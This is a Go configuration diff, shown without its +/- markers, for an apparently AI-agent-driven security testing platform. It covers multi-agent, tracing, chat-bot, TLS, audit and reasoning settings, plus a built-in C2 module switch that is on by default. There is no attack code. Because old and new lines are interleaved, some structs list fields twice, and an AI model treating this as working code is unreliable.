Knowledge KnowledgeConfig `yaml:"knowledge,omitempty"`
|
||||
C2 C2Config `yaml:"c2,omitempty" json:"c2,omitempty"` // 内置 C2 总开关;未配置时默认启用
|
||||
Robots RobotsConfig `yaml:"robots,omitempty" json:"robots,omitempty"` // 企业微信/钉钉/飞书等机器人配置
|
||||
RolesDir string `yaml:"roles_dir,omitempty" json:"roles_dir,omitempty"` // 角色配置文件目录(新方式)
|
||||
Roles map[string]RoleConfig `yaml:"roles,omitempty" json:"roles,omitempty"` // 向后兼容:支持在主配置文件中定义角色
|
||||
SkillsDir string `yaml:"skills_dir,omitempty" json:"skills_dir,omitempty"` // Skills配置文件目录
|
||||
AgentsDir string `yaml:"agents_dir,omitempty" json:"agents_dir,omitempty"` // 多代理子 Agent Markdown 定义目录(*.md,YAML front matter)
|
||||
MultiAgent MultiAgentConfig `yaml:"multi_agent,omitempty" json:"multi_agent,omitempty"`
|
||||
Project ProjectConfig `yaml:"project,omitempty" json:"project,omitempty"`
|
||||
Vision VisionConfig `yaml:"vision,omitempty" json:"vision,omitempty"`
|
||||
}
|
||||
|
||||
// MultiAgentConfig 基于 CloudWeGo Eino adk/prebuilt 的多代理编排(deep | plan_execute | supervisor,与单 Agent /agent-loop 并存)。
|
||||
// ProjectConfig 项目黑板(跨对话共享事实)配置。
|
||||
type ProjectConfig struct {
|
||||
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||
DefaultProjectID string `yaml:"default_project_id,omitempty" json:"default_project_id,omitempty"` // 机器人/批量等无显式项目时绑定的默认项目
|
||||
FactIndexMaxRunes int `yaml:"fact_index_max_runes,omitempty" json:"fact_index_max_runes,omitempty"`
|
||||
FactSummaryMaxRunes int `yaml:"fact_summary_max_runes,omitempty" json:"fact_summary_max_runes,omitempty"`
|
||||
DefaultInjectDeprecated bool `yaml:"default_inject_deprecated,omitempty" json:"default_inject_deprecated,omitempty"`
|
||||
}
|
||||
|
||||
// FactIndexMaxRunesEffective 自动注入黑板索引的最大 rune 数。
|
||||
func (c ProjectConfig) FactIndexMaxRunesEffective() int {
|
||||
if c.FactIndexMaxRunes <= 0 {
|
||||
return 3500
|
||||
}
|
||||
return c.FactIndexMaxRunes
|
||||
}
|
||||
|
||||
// FactSummaryMaxRunesEffective upsert 时 summary 最大 rune 数(索引一行,宜含验证要点)。
|
||||
func (c ProjectConfig) FactSummaryMaxRunesEffective() int {
|
||||
if c.FactSummaryMaxRunes <= 0 {
|
||||
return 200
|
||||
}
|
||||
return c.FactSummaryMaxRunes
|
||||
}
|
||||
|
||||
// MultiAgentConfig 基于 CloudWeGo Eino adk/prebuilt 的多代理编排(deep | plan_execute | supervisor)。
|
||||
type MultiAgentConfig struct {
|
||||
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||
RobotUseMultiAgent bool `yaml:"robot_use_multi_agent" json:"robot_use_multi_agent"` // 为 true 时钉钉/飞书/企微机器人走 Eino 多代理
|
||||
BatchUseMultiAgent bool `yaml:"batch_use_multi_agent" json:"batch_use_multi_agent"` // 为 true 时批量任务队列中每子任务走 Eino 多代理
|
||||
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||
RobotDefaultAgentMode string `yaml:"robot_default_agent_mode,omitempty" json:"robot_default_agent_mode,omitempty"` // eino_single | deep | plan_execute | supervisor
|
||||
BatchUseMultiAgent bool `yaml:"batch_use_multi_agent" json:"batch_use_multi_agent"` // 为 true 时批量任务队列中每子任务走 Eino 多代理
|
||||
// Orchestration 已弃用:保留仅兼容旧版 config.yaml;编排由聊天/WebShell 请求体 orchestration 决定,未传时按 deep。
|
||||
Orchestration string `yaml:"orchestration,omitempty" json:"orchestration,omitempty"`
|
||||
MaxIteration int `yaml:"max_iteration" json:"max_iteration"` // 主代理 / 执行器最大推理轮次(Deep、Supervisor、plan_execute 的 Executor)
|
||||
@@ -62,6 +91,126 @@ type MultiAgentConfig struct {
|
||||
EinoSkills MultiAgentEinoSkillsConfig `yaml:"eino_skills,omitempty" json:"eino_skills,omitempty"`
|
||||
// EinoMiddleware wires optional ADK middleware (patchtoolcalls, toolsearch, plantask, reduction) and Deep extras.
|
||||
EinoMiddleware MultiAgentEinoMiddlewareConfig `yaml:"eino_middleware,omitempty" json:"eino_middleware,omitempty"`
|
||||
// EinoCallbacks attaches CloudWeGo eino callbacks.InitCallbacks on ADK Runner context (structured logs + optional SSE trace).
|
||||
EinoCallbacks MultiAgentEinoCallbacksConfig `yaml:"eino_callbacks,omitempty" json:"eino_callbacks,omitempty"`
|
||||
}
|
||||
|
||||
// MultiAgentEinoCallbacksConfig enables Eino unified callbacks on each ADK agent run (deep / plan_execute / supervisor / eino_single).
|
||||
// Modes: log_only (zap + optional OTel; no SSE to browser), sse (adds client SSE eino_trace_* when sse_trace_to_client), full (sse rules + stream callback copies closed).
|
||||
type MultiAgentEinoCallbacksConfig struct {
|
||||
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||
Mode string `yaml:"mode,omitempty" json:"mode,omitempty"` // log_only | sse | full; empty with enabled=true defaults to log_only
|
||||
// SseTraceToClient when true emits eino_trace_* SSE for UI (use only for admin/debug; nil/false recommended in production).
|
||||
SseTraceToClient *bool `yaml:"sse_trace_to_client,omitempty" json:"sse_trace_to_client,omitempty"`
|
||||
// Otel configures OpenTelemetry trace export (independent of mode; exporter none disables export even if enabled).
|
||||
Otel MultiAgentEinoCallbacksOtelConfig `yaml:"otel,omitempty" json:"otel,omitempty"`
|
||||
// MaxInputSummaryRunes / MaxOutputSummaryRunes cap text placed in SSE payloads and debug logs (not full payloads).
|
||||
MaxInputSummaryRunes int `yaml:"max_input_summary_runes,omitempty" json:"max_input_summary_runes,omitempty"`
|
||||
MaxOutputSummaryRunes int `yaml:"max_output_summary_runes,omitempty" json:"max_output_summary_runes,omitempty"`
|
||||
// ZapVerbose when true logs input/output summaries at zap.Debug on start/end; false uses Info with short fields only.
|
||||
ZapVerbose bool `yaml:"zap_verbose,omitempty" json:"zap_verbose,omitempty"`
|
||||
}
|
||||
|
||||
// MultiAgentEinoCallbacksOtelConfig OpenTelemetry for Eino callback spans (W3C trace in collector / stdout).
|
||||
type MultiAgentEinoCallbacksOtelConfig struct {
|
||||
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||
ServiceName string `yaml:"service_name,omitempty" json:"service_name,omitempty"`
|
||||
Exporter string `yaml:"exporter,omitempty" json:"exporter,omitempty"` // none | stdout | otlphttp
|
||||
OTLPEndpoint string `yaml:"otlp_endpoint,omitempty" json:"otlp_endpoint,omitempty"` // host:port, e.g. localhost:4318 (path /v1/traces)
|
||||
SampleRatio float64 `yaml:"sample_ratio,omitempty" json:"sample_ratio,omitempty"` // 0–1, default 1.0
|
||||
}
|
||||
|
||||
// EinoCallbacksModeEffective returns off | log_only | sse | full.
|
||||
func (c MultiAgentEinoCallbacksConfig) EinoCallbacksModeEffective() string {
|
||||
if !c.Enabled {
|
||||
return "off"
|
||||
}
|
||||
m := strings.TrimSpace(strings.ToLower(c.Mode))
|
||||
switch m {
|
||||
case "log_only":
|
||||
return "log_only"
|
||||
case "sse":
|
||||
return "sse"
|
||||
case "full":
|
||||
return "full"
|
||||
case "":
|
||||
return "log_only"
|
||||
default:
|
||||
return "log_only"
|
||||
}
|
||||
}
|
||||
|
||||
// SseTraceToClientEffective is false unless explicitly set true (best practice: do not expose framework traces to end users by default).
|
||||
func (c MultiAgentEinoCallbacksConfig) SseTraceToClientEffective() bool {
|
||||
if c.SseTraceToClient == nil {
|
||||
return false
|
||||
}
|
||||
return *c.SseTraceToClient
|
||||
}
|
||||
|
||||
// ShouldEmitEinoTraceSSE is true when client-visible trace events should be sent over progress/SSE.
|
||||
func (c MultiAgentEinoCallbacksConfig) ShouldEmitEinoTraceSSE(mode string) bool {
|
||||
if !c.SseTraceToClientEffective() {
|
||||
return false
|
||||
}
|
||||
return mode == "sse" || mode == "full"
|
||||
}
|
||||
|
||||
// OtelExporterEffective returns none | stdout | otlphttp.
|
||||
func (c MultiAgentEinoCallbacksOtelConfig) OtelExporterEffective() string {
|
||||
e := strings.TrimSpace(strings.ToLower(c.Exporter))
|
||||
switch e {
|
||||
case "none", "stdout", "otlphttp":
|
||||
return e
|
||||
case "":
|
||||
if c.Enabled {
|
||||
return "stdout"
|
||||
}
|
||||
return "none"
|
||||
default:
|
||||
return "none"
|
||||
}
|
||||
}
|
||||
|
||||
// OtelTracingActive is true when spans should be started (enabled + non-none exporter).
|
||||
func (c MultiAgentEinoCallbacksConfig) OtelTracingActive() bool {
|
||||
if !c.Otel.Enabled {
|
||||
return false
|
||||
}
|
||||
return c.Otel.OtelExporterEffective() != "none"
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoCallbacksOtelConfig) ServiceNameEffective() string {
|
||||
s := strings.TrimSpace(c.ServiceName)
|
||||
if s != "" {
|
||||
return s
|
||||
}
|
||||
return "cyberstrike-ai"
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoCallbacksOtelConfig) SampleRatioEffective() float64 {
|
||||
r := c.SampleRatio
|
||||
if r <= 0 {
|
||||
return 1.0
|
||||
}
|
||||
if r > 1 {
|
||||
return 1.0
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoCallbacksConfig) EinoCallbacksMaxInputSummaryRunes() int {
|
||||
if c.MaxInputSummaryRunes > 0 {
|
||||
return c.MaxInputSummaryRunes
|
||||
}
|
||||
return 400
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoCallbacksConfig) EinoCallbacksMaxOutputSummaryRunes() int {
|
||||
if c.MaxOutputSummaryRunes > 0 {
|
||||
return c.MaxOutputSummaryRunes
|
||||
}
|
||||
return 400
|
||||
}
|
||||
|
||||
// MultiAgentEinoMiddlewareConfig optional Eino ADK middleware and Deep / supervisor tuning.
|
||||
@@ -89,8 +238,6 @@ type MultiAgentEinoMiddlewareConfig struct {
|
||||
SummarizationTriggerRatio float64 `yaml:"summarization_trigger_ratio,omitempty" json:"summarization_trigger_ratio,omitempty"`
|
||||
// SummarizationEmitInternalEvents controls middleware internal event emission (default true).
|
||||
SummarizationEmitInternalEvents *bool `yaml:"summarization_emit_internal_events,omitempty" json:"summarization_emit_internal_events,omitempty"`
|
||||
// HistoryInputBudgetRatio caps pre-agent history tokens as max_total_tokens * ratio (default 0.35).
|
||||
HistoryInputBudgetRatio float64 `yaml:"history_input_budget_ratio,omitempty" json:"history_input_budget_ratio,omitempty"`
|
||||
// PlanExecuteUserInputBudgetRatio caps planner/replanner/executor userInput prompt budget ratio (default 0.35).
|
||||
PlanExecuteUserInputBudgetRatio float64 `yaml:"plan_execute_user_input_budget_ratio,omitempty" json:"plan_execute_user_input_budget_ratio,omitempty"`
|
||||
// PlanExecuteExecutedStepsBudgetRatio caps executed_steps prompt budget ratio (default 0.2).
|
||||
@@ -105,6 +252,10 @@ type MultiAgentEinoMiddlewareConfig struct {
|
||||
DeepOutputKey string `yaml:"deep_output_key,omitempty" json:"deep_output_key,omitempty"`
|
||||
// DeepModelRetryMaxRetries > 0 enables deep.Config ModelRetryConfig (framework-level chat model retries).
|
||||
DeepModelRetryMaxRetries int `yaml:"deep_model_retry_max_retries,omitempty" json:"deep_model_retry_max_retries,omitempty"`
|
||||
// RunRetryMaxAttempts > 0:429/5xx/网络抖动时 handler 分段续跑次数;0=默认 10。
|
||||
RunRetryMaxAttempts int `yaml:"run_retry_max_attempts,omitempty" json:"run_retry_max_attempts,omitempty"`
|
||||
// RunRetryMaxBackoffSec 单次退避上限秒数;0=默认 30。
|
||||
RunRetryMaxBackoffSec int `yaml:"run_retry_max_backoff_sec,omitempty" json:"run_retry_max_backoff_sec,omitempty"`
|
||||
// TaskToolDescriptionPrefix when non-empty sets deep.Config TaskToolDescriptionGenerator (sub-agent names appended).
|
||||
TaskToolDescriptionPrefix string `yaml:"task_tool_description_prefix,omitempty" json:"task_tool_description_prefix,omitempty"`
|
||||
}
|
||||
@@ -130,20 +281,6 @@ func (c MultiAgentEinoMiddlewareConfig) SummarizationEmitInternalEventsEffective
|
||||
return true
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoMiddlewareConfig) HistoryInputBudgetRatioEffective() float64 {
|
||||
v := c.HistoryInputBudgetRatio
|
||||
if v <= 0 {
|
||||
return 0.35
|
||||
}
|
||||
if v < 0.15 {
|
||||
return 0.15
|
||||
}
|
||||
if v > 0.6 {
|
||||
return 0.6
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoMiddlewareConfig) PlanExecuteUserInputBudgetRatioEffective() float64 {
|
||||
v := c.PlanExecuteUserInputBudgetRatio
|
||||
if v <= 0 {
|
||||
@@ -240,9 +377,9 @@ type MultiAgentSubConfig struct {
|
||||
|
||||
// MultiAgentPublic 返回给前端的精简信息(不含子代理指令全文)。
|
||||
type MultiAgentPublic struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
RobotUseMultiAgent bool `json:"robot_use_multi_agent"`
|
||||
BatchUseMultiAgent bool `json:"batch_use_multi_agent"`
|
||||
Enabled bool `json:"enabled"`
|
||||
RobotDefaultAgentMode string `json:"robot_default_agent_mode,omitempty"`
|
||||
BatchUseMultiAgent bool `json:"batch_use_multi_agent"`
|
||||
SubAgentCount int `json:"sub_agent_count"`
|
||||
Orchestration string `json:"orchestration,omitempty"`
|
||||
PlanExecuteLoopMaxIterations int `json:"plan_execute_loop_max_iterations"`
|
||||
@@ -250,6 +387,28 @@ type MultiAgentPublic struct {
|
||||
ToolSearchAlwaysVisibleEffectiveTools []string `json:"tool_search_always_visible_effective_tools,omitempty"`
|
||||
}
|
||||
|
||||
// NormalizeAgentMode 解析代理模式(eino_single | deep | plan_execute | supervisor);空值默认 eino_single。
|
||||
func NormalizeAgentMode(mode string) string {
|
||||
s := strings.TrimSpace(strings.ToLower(mode))
|
||||
switch s {
|
||||
case "", "eino_single":
|
||||
return "eino_single"
|
||||
case "deep":
|
||||
return "deep"
|
||||
case "plan_execute", "plan-execute", "planexecute", "pe":
|
||||
return "plan_execute"
|
||||
case "supervisor", "super", "sv":
|
||||
return "supervisor"
|
||||
default:
|
||||
return "eino_single"
|
||||
}
|
||||
}
|
||||
|
||||
// NormalizeRobotAgentMode 解析机器人默认对话模式。
|
||||
func NormalizeRobotAgentMode(ma MultiAgentConfig) string {
|
||||
return NormalizeAgentMode(ma.RobotDefaultAgentMode)
|
||||
}
|
||||
|
||||
// NormalizeMultiAgentOrchestration 返回 deep、plan_execute 或 supervisor。
|
||||
func NormalizeMultiAgentOrchestration(s string) string {
|
||||
v := strings.TrimSpace(strings.ToLower(s))
|
||||
@@ -265,20 +424,48 @@ func NormalizeMultiAgentOrchestration(s string) string {
|
||||
|
||||
// MultiAgentAPIUpdate 设置页/API 仅更新多代理标量字段;写入 YAML 时不覆盖 sub_agents 等块。
|
||||
type MultiAgentAPIUpdate struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
RobotUseMultiAgent bool `json:"robot_use_multi_agent"`
|
||||
BatchUseMultiAgent bool `json:"batch_use_multi_agent"`
|
||||
Enabled bool `json:"enabled"`
|
||||
RobotDefaultAgentMode string `json:"robot_default_agent_mode,omitempty"`
|
||||
BatchUseMultiAgent bool `json:"batch_use_multi_agent"`
|
||||
PlanExecuteLoopMaxIterations *int `json:"plan_execute_loop_max_iterations,omitempty"`
|
||||
ToolSearchAlwaysVisibleTools []string `json:"tool_search_always_visible_tools,omitempty"`
|
||||
// 指针区分「JSON 未传该字段」与「传空数组要清空」;省略时不应覆盖 YAML 中的常驻工具白名单。
|
||||
ToolSearchAlwaysVisibleTools *[]string `json:"tool_search_always_visible_tools,omitempty"`
|
||||
}
|
||||
|
||||
// RobotsConfig 机器人配置(企业微信、钉钉、飞书等)
|
||||
// RobotsConfig 机器人配置(企业微信、钉钉、飞书、微信 iLink 等)
|
||||
type RobotsConfig struct {
|
||||
Session RobotSessionConfig `yaml:"session,omitempty" json:"session,omitempty"` // 机器人会话隔离策略
|
||||
Wechat RobotWechatConfig `yaml:"wechat,omitempty" json:"wechat,omitempty"` // 微信(iLink 扫码绑定)
|
||||
Wecom RobotWecomConfig `yaml:"wecom,omitempty" json:"wecom,omitempty"` // 企业微信
|
||||
Dingtalk RobotDingtalkConfig `yaml:"dingtalk,omitempty" json:"dingtalk,omitempty"` // 钉钉
|
||||
Lark RobotLarkConfig `yaml:"lark,omitempty" json:"lark,omitempty"` // 飞书
|
||||
}
|
||||
|
||||
// RobotWechatConfig 微信 iLink 机器人配置(个人微信 ClawBot / iLink 协议)
|
||||
type RobotWechatConfig struct {
|
||||
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||
BotToken string `yaml:"bot_token,omitempty" json:"bot_token,omitempty"`
|
||||
ILinkBotID string `yaml:"ilink_bot_id,omitempty" json:"ilink_bot_id,omitempty"`
|
||||
ILinkUserID string `yaml:"ilink_user_id,omitempty" json:"ilink_user_id,omitempty"`
|
||||
BaseURL string `yaml:"base_url,omitempty" json:"base_url,omitempty"` // 默认 https://ilinkai.weixin.qq.com
|
||||
BotType string `yaml:"bot_type,omitempty" json:"bot_type,omitempty"` // get_bot_qrcode 参数,默认 3
|
||||
BotAgent string `yaml:"bot_agent,omitempty" json:"bot_agent,omitempty"` // base_info.bot_agent
|
||||
GetUpdatesBuf string `yaml:"get_updates_buf,omitempty" json:"get_updates_buf,omitempty"` // 长轮询游标(运行时)
|
||||
}
|
||||
|
||||
// RobotSessionConfig 机器人会话隔离策略
|
||||
type RobotSessionConfig struct {
|
||||
StrictUserIdentity *bool `yaml:"strict_user_identity,omitempty" json:"strict_user_identity,omitempty"` // true 时只允许真实用户标识,不允许会话/群 ID 兜底
|
||||
}
|
||||
|
||||
// StrictUserIdentityEnabled 返回是否启用严格用户身份模式;未配置时默认 true。
|
||||
func (c RobotSessionConfig) StrictUserIdentityEnabled() bool {
|
||||
if c.StrictUserIdentity == nil {
|
||||
return true
|
||||
}
|
||||
return *c.StrictUserIdentity
|
||||
}
|
||||
|
||||
// RobotWecomConfig 企业微信机器人配置
|
||||
type RobotWecomConfig struct {
|
||||
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||
@@ -291,22 +478,33 @@ type RobotWecomConfig struct {
|
||||
|
||||
// RobotDingtalkConfig 钉钉机器人配置
|
||||
type RobotDingtalkConfig struct {
|
||||
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||
ClientID string `yaml:"client_id" json:"client_id"` // 应用 Key (AppKey)
|
||||
ClientSecret string `yaml:"client_secret" json:"client_secret"` // 应用 Secret
|
||||
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||
ClientID string `yaml:"client_id" json:"client_id"` // 应用 Key (AppKey)
|
||||
ClientSecret string `yaml:"client_secret" json:"client_secret"` // 应用 Secret
|
||||
AllowConversationIDFallback bool `yaml:"allow_conversation_id_fallback" json:"allow_conversation_id_fallback"` // sender_id 缺失时是否允许回退到会话 ID
|
||||
}
|
||||
|
||||
// RobotLarkConfig 飞书机器人配置
|
||||
type RobotLarkConfig struct {
|
||||
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||
AppID string `yaml:"app_id" json:"app_id"` // 应用 App ID
|
||||
AppSecret string `yaml:"app_secret" json:"app_secret"` // 应用 App Secret
|
||||
VerifyToken string `yaml:"verify_token" json:"verify_token"` // 事件订阅 Verification Token(可选)
|
||||
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||
AppID string `yaml:"app_id" json:"app_id"` // 应用 App ID
|
||||
AppSecret string `yaml:"app_secret" json:"app_secret"` // 应用 App Secret
|
||||
VerifyToken string `yaml:"verify_token" json:"verify_token"` // 事件订阅 Verification Token(可选)
|
||||
AllowChatIDFallback bool `yaml:"allow_chat_id_fallback" json:"allow_chat_id_fallback"` // 用户 ID 缺失时是否允许回退到 chat_id
|
||||
}
|
||||
|
||||
type ServerConfig struct {
|
||||
Host string `yaml:"host"`
|
||||
Port int `yaml:"port"`
|
||||
Host string `yaml:"host" json:"host"`
|
||||
Port int `yaml:"port" json:"port"`
|
||||
// TLSEnabled 为 true 时主 Web UI 使用 HTTPS;现代浏览器在同源下会协商 HTTP/2,缓解 HTTP/1.1 每源并发连接数限制。
|
||||
TLSEnabled bool `yaml:"tls_enabled,omitempty" json:"tls_enabled,omitempty"`
|
||||
// TLSCertPath / TLSKeyPath 非空时从 PEM 文件加载证书(生产环境推荐)。
|
||||
TLSCertPath string `yaml:"tls_cert_path,omitempty" json:"tls_cert_path,omitempty"`
|
||||
TLSKeyPath string `yaml:"tls_key_path,omitempty" json:"tls_key_path,omitempty"`
|
||||
// TLSAutoSelfSign 为 true 且未配置有效证书路径时,启动时生成内存自签证书(仅本地/测试;浏览器会提示不受信任)。
|
||||
TLSAutoSelfSign bool `yaml:"tls_auto_self_sign,omitempty" json:"tls_auto_self_sign,omitempty"`
|
||||
// TLSHTTPRedirect 为 false 时禁用 HTTP→HTTPS 跳转;省略或为 true 且已启用 HTTPS 时,明文 HTTP 访问将 308 跳转到 HTTPS(同端口嗅探分流)。
|
||||
TLSHTTPRedirect *bool `yaml:"tls_http_redirect,omitempty" json:"tls_http_redirect,omitempty"`
|
||||
}
|
||||
|
||||
type LogConfig struct {
|
||||
@@ -328,6 +526,48 @@ type OpenAIConfig struct {
|
||||
BaseURL string `yaml:"base_url" json:"base_url"`
|
||||
Model string `yaml:"model" json:"model"`
|
||||
MaxTotalTokens int `yaml:"max_total_tokens,omitempty" json:"max_total_tokens,omitempty"`
|
||||
// Reasoning 控制 Eino ChatModel 的 thinking / reasoning_effort / output_config 等(Eino 单/多代理路径生效)。
|
||||
Reasoning OpenAIReasoningConfig `yaml:"reasoning,omitempty" json:"reasoning,omitempty"`
|
||||
}
|
||||
|
||||
// OpenAIReasoningConfig 全局默认与网关 profile(对话页可通过 ChatRequest.reasoning 覆盖,受 AllowClientReasoning 约束)。
|
||||
type OpenAIReasoningConfig struct {
|
||||
// Mode: auto(默认)| on | off | default(与 auto 相同)。off 时不向模型附加推理扩展字段。
|
||||
Mode string `yaml:"mode,omitempty" json:"mode,omitempty"`
|
||||
// Effort: low | medium | high | max | xhigh;max/xhigh 为不同网关最高档命名,原样下发、不互转。空表示不单独指定强度。
|
||||
Effort string `yaml:"effort,omitempty" json:"effort,omitempty"`
|
||||
// AllowClientReasoning 为 false 时忽略请求体 reasoning;nil 或未设置等同于 true。
|
||||
AllowClientReasoning *bool `yaml:"allow_client_reasoning,omitempty" json:"allow_client_reasoning,omitempty"`
|
||||
// Profile: auto | deepseek_compat | openai_compat | output_config_effort
|
||||
Profile string `yaml:"profile,omitempty" json:"profile,omitempty"`
|
||||
// ExtraRequestFields 合并进 Chat Completions 根 JSON(管理员用;与自动字段同名时后者覆盖)。
|
||||
ExtraRequestFields map[string]interface{} `yaml:"extra_request_fields,omitempty" json:"extra_request_fields,omitempty"`
|
||||
}
|
||||
|
||||
// ModeEffective returns auto when empty or default.
|
||||
func (c OpenAIReasoningConfig) ModeEffective() string {
|
||||
m := strings.ToLower(strings.TrimSpace(c.Mode))
|
||||
if m == "" || m == "default" {
|
||||
return "auto"
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
// ProfileEffective returns auto when empty.
|
||||
func (c OpenAIReasoningConfig) ProfileEffective() string {
|
||||
p := strings.ToLower(strings.TrimSpace(c.Profile))
|
||||
if p == "" {
|
||||
return "auto"
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
// AllowClientReasoningEffective true when client may send ChatRequest.reasoning.
|
||||
func (c OpenAIReasoningConfig) AllowClientReasoningEffective() bool {
|
||||
if c.AllowClientReasoning == nil {
|
||||
return true
|
||||
}
|
||||
return *c.AllowClientReasoning
|
||||
}
|
||||
|
||||
type FofaConfig struct {
|
||||
@@ -372,6 +612,51 @@ type AuthConfig struct {
|
||||
GeneratedPasswordPersistErr string `yaml:"-" json:"-"`
|
||||
}
|
||||
|
||||
// AuditConfig platform operation audit log settings (not chat/tool execution bodies).
|
||||
type AuditConfig struct {
|
||||
// Enabled nil or true enables persistence; explicit false disables.
|
||||
Enabled *bool `yaml:"enabled,omitempty" json:"enabled,omitempty"`
|
||||
RetentionDays int `yaml:"retention_days,omitempty" json:"retention_days,omitempty"`
|
||||
MaxDetailBytes int `yaml:"max_detail_bytes,omitempty" json:"max_detail_bytes,omitempty"`
|
||||
// AuthFailureCooldownSeconds: per-IP cooldown for auth login/change_password failure audit rows; -1 disables; 0 uses default 60.
|
||||
AuthFailureCooldownSeconds int `yaml:"auth_failure_cooldown_seconds,omitempty" json:"auth_failure_cooldown_seconds,omitempty"`
|
||||
}
|
||||
|
||||
// EnabledEffective returns true unless audit.enabled is explicitly false.
|
||||
func (a AuditConfig) EnabledEffective() bool {
|
||||
if a.Enabled == nil {
|
||||
return true
|
||||
}
|
||||
return *a.Enabled
|
||||
}
|
||||
|
||||
// RetentionDaysEffective returns retention; 0 means keep forever.
|
||||
func (a AuditConfig) RetentionDaysEffective() int {
|
||||
if a.RetentionDays < 0 {
|
||||
return 0
|
||||
}
|
||||
return a.RetentionDays
|
||||
}
|
||||
|
||||
// MaxDetailBytesEffective caps serialized detail JSON size.
|
||||
func (a AuditConfig) MaxDetailBytesEffective() int {
|
||||
if a.MaxDetailBytes <= 0 {
|
||||
return 8192
|
||||
}
|
||||
return a.MaxDetailBytes
|
||||
}
|
||||
|
||||
// AuthFailureCooldownEffective returns seconds between duplicate auth-failure audit rows per IP (default 60; -1 disables).
|
||||
func (a AuditConfig) AuthFailureCooldownEffective() int {
|
||||
if a.AuthFailureCooldownSeconds < 0 {
|
||||
return 0
|
||||
}
|
||||
if a.AuthFailureCooldownSeconds == 0 {
|
||||
return 60
|
||||
}
|
||||
return a.AuthFailureCooldownSeconds
|
||||
}
|
||||
|
||||
// ExternalMCPConfig 外部MCP配置
|
||||
type ExternalMCPConfig struct {
|
||||
Servers map[string]ExternalMCPServerConfig `yaml:"servers,omitempty" json:"servers,omitempty"`
|
||||
@@ -464,7 +749,9 @@ func Load(path string) (*Config, error) {
|
||||
if cfg.Auth.SessionDurationHours <= 0 {
|
||||
cfg.Auth.SessionDurationHours = 12
|
||||
}
|
||||
|
||||
if cfg.Audit.MaxDetailBytes <= 0 {
|
||||
cfg.Audit.MaxDetailBytes = 8192
|
||||
}
|
||||
if strings.TrimSpace(cfg.Auth.Password) == "" {
|
||||
password, err := generateStrongPassword(24)
|
||||
if err != nil {
|
||||
@@ -933,6 +1220,7 @@ func LoadRoleFromFile(path string) (*RoleConfig, error) {
|
||||
}
|
||||
|
||||
func Default() *Config {
|
||||
strictRobotIdentity := true
|
||||
return &Config{
|
||||
Server: ServerConfig{
|
||||
Host: "0.0.0.0",
|
||||
@@ -967,6 +1255,19 @@ func Default() *Config {
|
||||
Auth: AuthConfig{
|
||||
SessionDurationHours: 12,
|
||||
},
|
||||
Audit: func() AuditConfig {
|
||||
on := true
|
||||
return AuditConfig{
|
||||
RetentionDays: 90,
|
||||
MaxDetailBytes: 8192,
|
||||
Enabled: &on,
|
||||
}
|
||||
}(),
|
||||
Robots: RobotsConfig{
|
||||
Session: RobotSessionConfig{
|
||||
StrictUserIdentity: &strictRobotIdentity,
|
||||
},
|
||||
},
|
||||
Knowledge: KnowledgeConfig{
|
||||
Enabled: true,
|
||||
BasePath: "knowledge_base",
|
||||
@@ -997,6 +1298,35 @@ func Default() *Config {
|
||||
}
|
||||
}
|
||||
|
||||
// C2Config 内置 C2 模块开关(与知识库 enabled 语义一致:关闭后不初始化监听器、不注册 C2 MCP 工具)。
|
||||
type C2Config struct {
|
||||
// Enabled 为 nil 表示未写配置,按 true 处理(兼容旧 config.yaml)
|
||||
Enabled *bool `yaml:"enabled,omitempty" json:"enabled,omitempty"`
|
||||
}
|
||||
|
||||
// EnabledEffective 返回是否启用 C2;未显式配置时默认启用。
|
||||
func (c C2Config) EnabledEffective() bool {
|
||||
if c.Enabled == nil {
|
||||
return true
|
||||
}
|
||||
return *c.Enabled
|
||||
}
|
||||
|
||||
// C2Public 返回给前端的 C2 状态(仅标量)。
|
||||
type C2Public struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
|
||||
// Public 将内部配置转为 API 响应。
|
||||
func (c C2Config) Public() C2Public {
|
||||
return C2Public{Enabled: c.EnabledEffective()}
|
||||
}
|
||||
|
||||
// C2APIUpdate 设置页/API 更新 C2 开关。
|
||||
type C2APIUpdate struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
|
||||
// KnowledgeConfig 知识库配置
|
||||
type KnowledgeConfig struct {
|
||||
Enabled bool `yaml:"enabled" json:"enabled"` // 是否启用知识检索
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
package config
|
||||
|
||||
import "strings"
|
||||
|
||||
// MainWebUIUsesHTTPS 判断主 Web UI 是否以 HTTPS 监听(与 internal/app.prepareMainServerTLS 前置条件一致)。
|
||||
func MainWebUIUsesHTTPS(s *ServerConfig) bool {
|
||||
if s == nil {
|
||||
return false
|
||||
}
|
||||
if s.TLSEnabled {
|
||||
return true
|
||||
}
|
||||
if s.TLSAutoSelfSign {
|
||||
return true
|
||||
}
|
||||
cert := strings.TrimSpace(s.TLSCertPath)
|
||||
key := strings.TrimSpace(s.TLSKeyPath)
|
||||
return cert != "" && key != ""
|
||||
}
|
||||
|
||||
// ServerHTTPRedirectEnabled 是否在主站启用 HTTPS 时把明文 HTTP 请求重定向到 HTTPS(默认开启)。
|
||||
func ServerHTTPRedirectEnabled(s *ServerConfig) bool {
|
||||
if s == nil || !MainWebUIUsesHTTPS(s) {
|
||||
return false
|
||||
}
|
||||
if s.TLSHTTPRedirect == nil {
|
||||
return true
|
||||
}
|
||||
return *s.TLSHTTPRedirect
|
||||
}
|
||||
|
||||
